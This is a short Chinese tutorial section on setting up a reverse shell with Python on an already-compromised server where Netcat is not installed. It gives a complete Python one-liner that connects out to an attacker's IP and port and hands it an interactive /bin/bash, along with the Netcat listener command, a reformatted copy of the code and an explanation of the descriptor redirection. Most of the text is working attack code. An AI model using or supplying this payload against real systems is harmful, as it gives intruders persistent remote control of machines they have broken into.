8 Netcat 反弹shell(Python)
应用场景
某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装Netcat时。但是安装了Python。
基础介绍
反弹shell命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
PC接收Netcat命令: nc -lvp port
import os import socket import subprocess s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('ip', 'port')) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/bash', '-i'])
命令解释介绍
首先使用socket与远程建立起连接,具有了远程的文件描述符3。可以使用s.fileno()来查看具体套接字建立的远程文件描述符。
os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以实现反弹shell。